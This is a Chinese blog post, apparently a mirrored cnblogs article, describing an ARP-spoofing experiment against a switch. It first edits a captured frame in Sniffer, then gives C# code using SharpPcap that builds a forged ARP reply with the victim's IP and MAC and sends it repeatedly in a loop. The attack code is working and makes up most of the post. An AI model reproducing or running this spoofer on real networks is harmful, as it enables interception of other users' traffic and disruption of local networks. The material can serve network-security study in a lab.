zoukankan      html  css  js  c++  java
  • 利用Sniffer分析 ARP报文

         本想写点什么,转念一想没有什么新的东西可写。比如sniffer的使用、局域网扫描原理、 ARP欺骗原理和方式,交换机的报文交换原理,等网上都有好多材料。我这里做的实验的是sniffer向交换机发送ARP欺骗报文.过程不做多说明,首先打开sniffer准备获取报文,然后ping某个主机 ,就可以获取ARP报文了,点击发送此帧。这里做一些修改,源MAC为被攻击主机MAC,目的MAC为交换机MAC,目的IP为交换机的IP  ,源IP为被攻击主机的IP。

    如图:

    查找网上相关资料,用C#写了个发送ARP报文的小程序,其实也就只是做的修改,原程序存在一点小错误。

    程序界面 如图:

    这个代码是调用开源项目SharpPcap开源的网络捕获项目http://sourceforge.net/projects/sharppcap/。  //链接已坏

     这个项目和所有sniffer软件一样,是用wincap库的。需要安装wincap。http://www.winpcap.org/   //链接已坏

    核心代码分析:
    //获取存在XML文档中的数据
            public data getDate() 
            {
                FileStream fs = File.OpenRead("config.xml");
                System.Xml.Serialization.XmlSerializer xml = new System.Xml.Serialization.XmlSerializer (typeof(data));
                data data = (data)xml.Deserialize(fs);
                fs.Close();    //需要关闭读取流,不然写入会有错误。源码在此处存在错误
                return data;
            }
    //。。。。。。
    
    //当关闭时,把修改之后的数据写入XML文档
    public void saveData(data data) 
            {
               FileStream fs = File.OpenWrite("config.xml");
               System.Xml.Serialization.XmlSerializer xml = new System.Xml.Serialization.XmlSerializer(typeof(data));
               xml.Serialize(fs, data);
               fs.Close();
            }
    
    
     /// <summary>
            /// 发送数据
            /// </summary>
            public  void sendPack()
            {
               //需要添加SharpPcap.dll和PacketDotNet.dll引用
                var cap = SharpPcap.CaptureDeviceList.Instance[0];
                cap.Open();
                while (true)
                {
                    cap.SendPacket(packet);
                    Time++;
                    label1.Text = Time+"";
                    if (Time == Convert.ToInt32(textBox2.Text)) 
                    {
                        button2.Enabled = false;
                        t.Abort();
                     }
                    Thread.Sleep(timeSpan);
                }
            }
    
    
    /// <summary>
            /// 获取数据包,把需要设置数据插入到数据包中
            /// </summary>
            /// <returns></returns>
            public byte[] getPacket(byte[] yIP,byte[] mIP,byte[] yMAC,byte[] mMAC)
            {
                //ARP数据包,这里可以结合第一张图片。
                byte[] packet = new byte[] { 0xe0, 0xcb, 0x4e, 0x2f, 0x8a, 0xc7, 0x00, 0x23, 0xcd, 0x34, 0x20, 0x0e, 
                    0x08, 0x06, 0x00, 0x01, 0x08, 0x00, 0x06, 0x04, 0x00, 0x02, 0x00, 0x23, 0xcd, 0x34, 0x20, 0x0e, 
                    0xc0, 0xa8, 0x01, 0x01, 0xe0, 0xcb, 0x4e, 0x2f, 0x8a, 0xc7, 0xc0, 0xa8, 0x01, 0x63, 0x00, 0x00, 
                    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5d, 0x27, 0xa1, 0xb5};
                //循环替换IP
                for (int i = 0; i < 4; i++)
                {
                    packet[i + 28] = yIP[i];             
                    packet[i + 38] = mIP[i];
                }
                //循环替换MAC
                for (int i = 0; i < 6; i++)
                {
                    packet[i+ 22] = yMAC[i];
                    packet[i] = mMAC[i];
                    packet[i+6] = yMAC[i]; 
                    packet[i + 32] = mMAC[i];
                }
                return packet;
            }
     

    代码参考http://www.cnblogs.com/zifeiniu/archive/2011/06/16/2083015.html

  • 相关阅读:
    Azure PowerShell (7) 使用CSV文件批量设置Virtual Machine Endpoint
    Windows Azure Cloud Service (39) 如何将现有Web应用迁移到Azure PaaS平台
    Azure China (7) 使用WebMetrix将Web Site发布至Azure China
    Microsoft Azure News(4) Azure新D系列虚拟机上线
    Windows Azure Cloud Service (38) 微软IaaS与PaaS比较
    Windows Azure Cloud Service (37) 浅谈Cloud Service
    Azure PowerShell (6) 设置单个Virtual Machine Endpoint
    Azure PowerShell (5) 使用Azure PowerShell创建简单的Azure虚拟机和Linux虚拟机
    功能代码(1)---通过Jquery来处理复选框
    案例1.用Ajax实现用户名的校验
  • 原文地址:https://www.cnblogs.com/dreamfactory/p/2732542.html
Copyright © 2011-2022 走看看